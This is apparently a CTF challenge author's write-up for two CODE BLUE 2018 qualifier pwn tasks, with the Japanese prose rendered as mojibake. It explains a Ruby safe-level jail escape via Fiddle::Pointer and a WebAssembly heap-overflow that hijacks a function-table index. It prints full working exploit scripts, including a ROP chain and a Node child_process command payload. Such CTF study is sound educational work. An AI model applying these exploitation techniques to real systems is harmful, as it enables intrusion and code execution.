CODE BLUE CTF 2018 Qualsã§åºããåé¡ã®è©±
7/28-7/29ã«éãããCODE BLUE CTF 2018 Qualsã§ç§ãåºããåé¡ã®ãã£ãããã解説ã§ãã
English version: https://github.com/Charo-IT/CTF/blob/master/2018/codeblue_quals/writeup.md
Little Riddle (pwn)
Ruby 2.2ã¾ã§åå¨ãã¦ããsafe level 3ã使ã£ãRuby jailåã§ãã
safe levelã«ããä¸é¨ã®ã¡ã½ããã®ä½¿ç¨ã«å¶éãããã£ã¦ãã¾ãããFiddle::Pointer
ã§ã¡ã¢ãªãèªç±ã«èªã¿æ¸ãã§ãããã¨ã«æ°ä»ãã°ã©ãã«ã§ããªãåé¡ã«ãªã£ã¦ãã¾ãã
ç§ãæ¸ããexploitã¯ãããªæãã§ãã
Fiddle::Pointer.malloc
ã®ç¬¬2å¼æ°ã使ã£ã¦RIPã奪ããROPã«æã¡è¾¼ã¿ã¾ããã
libc_offset = { "read" => 0xf7250, "open" => 0xf7030, "write" => 0xf72b0, "exit" => 0x3a030, "setcontext" => 0x47b75, "pop_rdi_ret" => 0x21102, "pop_rsi_ret" => 0x202e8, "pop_rdx_ret" => 0x1150a6, "ret" => 0x21103, "main_arena" => 0x3c4b20 } # allocate a chunk a = Fiddle::Pointer.malloc(1) puts "a = 0x%x" % a.to_i # get its arena arena = Fiddle::Pointer.new(a.to_i & 0xfffffffffc000000)[0, 8].unpack("Q")[0] puts "arena = 0x%x" % arena # get address of main_arena main_arena = Fiddle::Pointer.new(arena + 0x868)[0, 8].unpack("Q")[0] puts "main_arena = 0x%x" % main_arena.to_i # get libc base libc_base = main_arena - libc_offset["main_arena"] puts "libc base = 0x%x" % libc_base # read flag [1].each{ ptr = Fiddle::Pointer.malloc(0x200, libc_base + libc_offset["setcontext"]) payload = "" payload << "/home/p31338/flag".ljust(0xa0, "\0") payload << [ptr.to_i + 0xb0].pack("Q*") # rsp payload << [libc_base + libc_offset["ret"]].pack("Q") * 10 payload << [libc_base + libc_offset["pop_rdi_ret"], ptr.to_i].pack("Q*") payload << [libc_base + libc_offset["pop_rsi_ret"], 0].pack("Q*") payload << [libc_base + libc_offset["open"]].pack("Q") payload << [libc_base + libc_offset["pop_rdi_ret"], 7].pack("Q*") payload << [libc_base + libc_offset["pop_rsi_ret"], ptr.to_i].pack("Q*") payload << [libc_base + libc_offset["pop_rdx_ret"], 0x40].pack("Q*") payload << [libc_base + libc_offset["read"]].pack("Q*") payload << [libc_base + libc_offset["pop_rdi_ret"], 1].pack("Q*") payload << [libc_base + libc_offset["pop_rsi_ret"], ptr.to_i].pack("Q*") payload << [libc_base + libc_offset["pop_rdx_ret"], 0x40].pack("Q*") payload << [libc_base + libc_offset["write"]].pack("Q*") payload << [libc_base + libc_offset["exit"]].pack("Q") ptr[0, payload.length] = payload } GC.start __END__
ãªãã¸ã§ã¯ãã®æ±æãã©ã°ãFiddle::Pointer
ã§æ¶ããã¨ããæ¹æ³ãã¨ã£ããã¼ã ãããã¾ããã
æ³å®è§£ã¯ã¿ã¤ãã«ã§æ示ããã¦ããããã«Fiddleã使ããã¨ãªã®ã§ããã
safe levelããã¤ãã¹ããæ¹æ³ã«ãèå³ããã£ããããéæ³å®è§£ã«ç¹ãããããªãã®ãå¾¹åºçã«æ½°ããããªãã¨ã¯ãã¾ããã§ãããï¼ã¬ãã¥ã¼ã®æéããªãã£ãã¨ãè¨ãï¼
ã¨ãããã¨ã§ãFiddleã使ããªã解æ³ãå«ãã¦writeupãã°ãã°ãå ¬éãã¦ããã ããã¨å¬ããã§ãã
Secret Mailer Service 2.0 (pwn)
ãCBCTFç¨ã«ä½ã£ãã¯ãã®rswcãWCTFã«å¸ããããã¹ããã£ã¦è¨ããªããWebAssembly Studioã§ããããéãã§ããããWebAssemblyã«æå¤ãªä»æ§ãå¹¾ã¤ããã£ã¦é¢ç½ãã£ãã®ã§pwnã®åé¡ã«ãã¦ã¿ã¾ããã
ã½ã¼ã¹ã³ã¼ãã¯ãã¡ãããï¼wasmãèªã¾ããã®ã¯æµç³ã«ã¤ããããæ°ãããã®ã§ãåºé¡æã¯Cã®ã½ã¼ã¹ãé å¸ãã¾ãããåªããï¼
ãã®åé¡ã解ãã«ã¯ã以ä¸ã®3ã¤ã®ãã¤ã³ãã«æ°ä»ãå¿ è¦ãããã¾ãã
- Emscriptenã¯dlmallocã使ã£ã¦ãã
- WebAssemblyã®ã¡ã¢ãªã«ã¯readonlyãªé åããªã
- WebAssemblyã®é¢æ°ãã¤ã³ã¿ã¯ãã¡ã¢ãªä¸ã®ã¢ãã¬ã¹ãã表ããã®ã§ã¯ãªã
ä¸ã¤ãã¤è¦ã¦ããã¾ãããã
1. Emscriptenã¯dlmallocã使ã£ã¦ãã
ããã¯Emscriptenã®ã½ã¼ã¹ã³ã¼ããèªãã ããå®éã«malloc/freeããã³ã¼ããæ¸ãã¦ç¢ºããããããã¨ãããã¾ãã
ãªã®ã§ãæè¿ã®CTFã§ããåºããããªãã¼ãåã¨åãè¦é ã§chunk overlappingãçºçããããã¨ã§ãæ¢åã®Letter
æ§é ä½ã®ä¸èº«ãèªç±ã«ã³ã³ããã¼ã«ã§ãã¾ãã
ãªããglibcã¨éã£ã¦fastbinsããªãã£ãããglibcã«ãªãã£ããã§ãã¯ãå ¥ã£ã¦ããããã¾ãããã½ã¼ã¹ã³ã¼ããèªãã§å¯¾å¿ãã¾ãããã
2. WebAssemblyã®ã¡ã¢ãªã«ã¯readonlyãªé åããªã
ããã¯ããã®ããã«æååå®æ°ãæ¸ãæããããã¨ããæå³ã§ãããã¾ãã
puts("hello world"); // => hello world "hello world"[0] = 'H'; puts("hello world"); // => Hello world
ã¤ã¾ãã
if(post){ // emscripten_run_scriptã¯Cã®ä¸çããJavascriptã®ã³ã¼ããå®è¡ããããã®é¢æ° emscripten_run_script("_do_post_letters()"); }
seal_letters
ä¸ã®æååå®æ°"_do_post_letters()"
ã¯å®ã¯æ¸ãæãå¯è½ã§ãããããã«SMS2ã¯nodeä¸ã§åãã¦ãããã¨ããããããæ¸ãæãããã¨ã§RCEã§ãã¾ãã
ãªã®ã§ãä½ããã®æ¹æ³ã§ãããæ¸ãæãããã¨ãæçµç®æ¨ã¨ãªãã¾ãã
3. WebAssemblyã®é¢æ°ãã¤ã³ã¿ã¯ãã¡ã¢ãªä¸ã®ã¢ãã¬ã¹ãã表ããã®ã§ã¯ãªã
ããã¯å®éã«ã³ã¼ããæ¸ãã¦ç¢ºèªãã¦ã¿ã¾ãããã
#include <stdio.h> void foo(){ puts("foo"); } int main(){ void (*func)() = foo; printf("func = %p\n", func); printf("*func = 0x%08x 0x%08x 0x%08x 0x%08x\n", *(unsigned int *)func, *((unsigned int *)func + 1), *((unsigned int *)func + 2), *((unsigned int *)func + 3)); printf("\ncall func\n"); func(); return 0; }
$ emcc -s WASM=1 -o test.js test.c -O0 -g $ node test.js func = 0x4 *func = 0x00000000 0x00000000 0x00000000 0x00000000 call func foo
func = 0x4
ã¨åºåããã¦ãã¾ãããã¡ã¢ãªä¸ã®0x4ä»è¿ãè¦ã¦ãç¹ã«ä½ãããã¾ããã
ã¨ãªãã¨ã0x4ã¯ã©ãããåºã¦ããæ°åã§ããããï¼
ãã®çãã¯wastãã¡ã¤ã«ã®ä¸ã«ããã¾ãã
é¢æ°ãã¤ã³ã¿çµç±ã§ã®é¢æ°å¼ã³åºããè¡ã£ã¦ããé¨åã«è©²å½ããwastãè¦ã¦ã¿ãã¨â¦â¦
;;@ test.c:14:0 (set_local $$14 ;; $$14 = func = 4 (get_local $$1) ) (call_indirect (type $FUNCSIG$v) (i32.add (i32.and (get_local $$14) (i32.const 7) ) (i32.const 10) ) ) (set_global $STACKTOP (get_local $sp) )
call_indirect
ã¨ããå½ä»¤ã«(4 & 7) + 10
(=14)ã¨ããå¼æ°ã渡ãã¦ãã¾ãã
WebAssemblyã®ããã¥ã¡ã³ãã«ããcall_indirect
ã®èª¬æãè¦ã¦ã¿ãã¨
Indirect calls to a function indicate the callee with an i32 index into a table.
ã¨ããã®ã§ãä½ããã®ãã¼ãã«ãåå¨ãããã®14çªç®ã«foo
ããããããã¨ãããã¨ã«ãªãã¾ãã
æ¹ãã¦wastãã¡ã¤ã«ã®ä¸ãæ¢ãã¦ã¿ãã¨ãããããããã¼ãã«ã®14çªç®ï¼0-originãªãã¨ã«æ³¨æï¼ã«foo
ããããã¨ã確èªã§ãã¾ãã
(elem (get_global $tableBase) $b0 $___stdio_close $b1 $b1 $___stdout_write $___stdio_seek $b1 $___stdio_write $b1 $b1 $b2 $b2 $b2 $b2 $_foo $b2 $b2 $b2)
ããã¾ã§ã®è©±ãã¾ã¨ããã¨ãWebAssemblyã§ã®é¢æ°ãã¤ã³ã¿ã¯ã¡ã¢ãªä¸ã®ã¢ãã¬ã¹ã示ããã®ã§ã¯ãªããé¢æ°ãã¼ãã«å ã®ã¤ã³ããã¯ã¹ãåºã«ç®åºãããå¤ã¨ãããã¨ã§ãã
é·ããªãã¾ããããSMS2ã«è©±ãæ»ãã¾ãããã
Letter
æ§é ä½å
ã®é¢æ°ãã¤ã³ã¿ã¯seal_letters
é¢æ°ã§ä½¿ããã¦ãã¾ãã
void seal_letters(State *state, int post){ size_t i; char *outbuf; for(i = 0; i < state->count; i++){ if(state->letters[i] != NULL && state->letters[i]->filter != NULL){ outbuf = malloc(state->letters[i]->length); if(outbuf == NULL){ abort(); } state->letters[i]->filter(outbuf, state->letters[i]->buf, state->letters[i]->length); state->letters[i]->buf = outbuf; } } if(post){ emscripten_run_script("_do_post_letters()"); } }
state->letters[i]->filter(...)
é¨åã®wastã¨é¢æ°ãã¼ãã«ãè¦ã¦ã¿ã¾ãã
(drop (call_indirect (type $FUNCSIG$iiii) (get_local $$44) ;; arg1: outbuf (get_local $$52) ;; arg2: letter->buf <- controllable (get_local $$59) ;; arg3: letter->length <- controllable (i32.add (i32.and (get_local $$43) ;; letter->filter (i32.const 15) ) (i32.const 8) ) ) )
(elem (get_global $tableBase) $b0 $b0 $b0 $b0 $___stdio_close $b0 $b0 $b0 $b1 $_filter_lower $_filter_upper $_filter_swapcase $b1 $___stdio_read $___stdio_seek $___stdout_write $___stdio_write $b1 $b1 $b1 $b1 $b1 $b1 $b1)
call_indirect
ã«æ¸¡ãããé¢æ°ãã¼ãã«ã®ã¤ã³ããã¯ã¹ã¯(letter->filter & 15) + 8
ã§ç®åºããã¦ãããããLetter
ã®é¢æ°ãã¤ã³ã¿ãæ¸ãæããå ´åã«å¼ã¹ãé¢æ°ã¯ä»¥ä¸ã®7ã¤ã«ãªãã¾ãã
- 1:
filter_lower
- 2:
filter_upper
- 3:
filter_swapcase
- 5:
__stdio_read
- 6:
__stdio_seek
- 7:
__stdout_write
- 8:
__stdio_write
ãã®ä¸ã ã¨__stdio_read
ãæ°ã«ãªãã¾ããå®è£
ã確èªãã¦ã¿ã¾ãããã
#include "stdio_impl.h" #include <sys/uio.h> size_t __stdio_read(FILE *f, unsigned char *buf, size_t len) { struct iovec iov[2] = { { .iov_base = buf, .iov_len = len - !!f->buf_size }, { .iov_base = f->buf, .iov_len = f->buf_size } }; ssize_t cnt; cnt = syscall(SYS_readv, f->fd, iov, 2); if (cnt <= 0) { f->flags |= F_EOF ^ ((F_ERR^F_EOF) & cnt); return cnt; } if (cnt <= iov[0].iov_len) return cnt; cnt -= iov[0].iov_len; f->rpos = f->buf; f->rend = f->buf + cnt; if (f->buf_size) buf[len-1] = *f->rpos++; return len; }
FILE *f
ã¯ç´åã®malloc
ã§ç¢ºä¿ãããé åãªã®ã§å
容ãããç¨åº¦ã³ã³ããã¼ã«ã§ãã¾ãããunsigned char *buf
ã¨size_t len
ã¯Letter
ãæ¸ãæãå¯è½ãªã®ã§ä»»æã®å¤ãæå®ã§ãã¾ãã
ããã使ãã°å¥½ããªã¢ãã¬ã¹ã«å¥½ããªãã¼ã¿ãèªã¿è¾¼ãããã§ãã
ã¾ã¨ã
ããããã¾ã¨ããã¨ããã®åé¡ã¯ä»¥ä¸ã®æé ã§æ»ç¥ã§ãããã¨ããããã¾ãã
- heap bofã§å¾ç¶ãã£ã³ã¯ã®ãµã¤ãºãæ¸ãæããchunk overlappingãçºçããã
- æ¢åã®
Letter
æ§é ä½ã以ä¸ã®ããã«æ¸ãæããlength
: å®è¡ãããJavascriptã³ã¼ãã®é·ã+1 (null byteç¨)filter
: 5 (__stdio_read
)buf
: 0xff8 ("_do_post_letters()"
ã®ã¢ãã¬ã¹)
- ã¡ãã¥ã¼ãã
5. Seal and post all letters
ãé¸ã¶ã¨__stdio_read(outbuf, 0xff8, length)
ãå¼ã°ããã®ã§ãå®è¡ãããJavascriptã³ã¼ã + null byteãå ¥å - 3.ã§å
¥åããã³ã¼ãã
emscripten_run_script
ã«æ¸¡ãããå®è¡ããã
exploitã¯ãããªæãã§ãã
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "pwn1.task.ctf.codeblue.jp" port = 31337 else host = "localhost" port = 54321 end class PwnTube def recv_until_prompt recv_until("Select:\n") end end def tube @tube end def add_letter(size, content, to, filter) tube.recv_until_prompt tube.sendline("1") tube.recv_until("Size:\n") tube.sendline("#{size}") tube.recv_until("Content:\n") tube.send(content) tube.recv_until("To:\n") tube.send(to) tube.recv_until_prompt tube.sendline("#{filter}") end def delete_letter(index) tube.recv_until_prompt tube.sendline("3") tube.recv_until("Index:\n") tube.sendline("#{index}") end def seal_letter tube.recv_until_prompt tube.sendline("5") end PwnTube.open(host, port){|t| @tube = t cmd = "require('child_process').exec('cat flag',(a,b,c)=>console.log(b+c))\0" puts "[*] prepare" add_letter(0xc, "A" * 0xb, "1" * 0x1f + "\n", 1) add_letter(0xc, "B" * 0xb, "2" * 0x1f + "\n", 1) delete_letter(0); puts "[*] overwrite chunksize" add_letter(0xc, "C" * 0xb, "3" * 0x20 + "\x53", 1) puts "[*] overwrite existing letter" payload = "" payload << "A" * 0x10 payload << [cmd.length].pack("L") # length payload << [0xff8].pack("L") # buf (address of "_do_post_letters()"") payload << [5].pack("L") # func (__stdio_read) payload << "A" * 0x1f add_letter(payload.length + 1, payload, "AAAA\n", 1) puts "[*] call __stdio_read" tube.recv_until_prompt tube.sendline("5") puts "[*] send command to execute" tube.send(cmd) tube.interactive }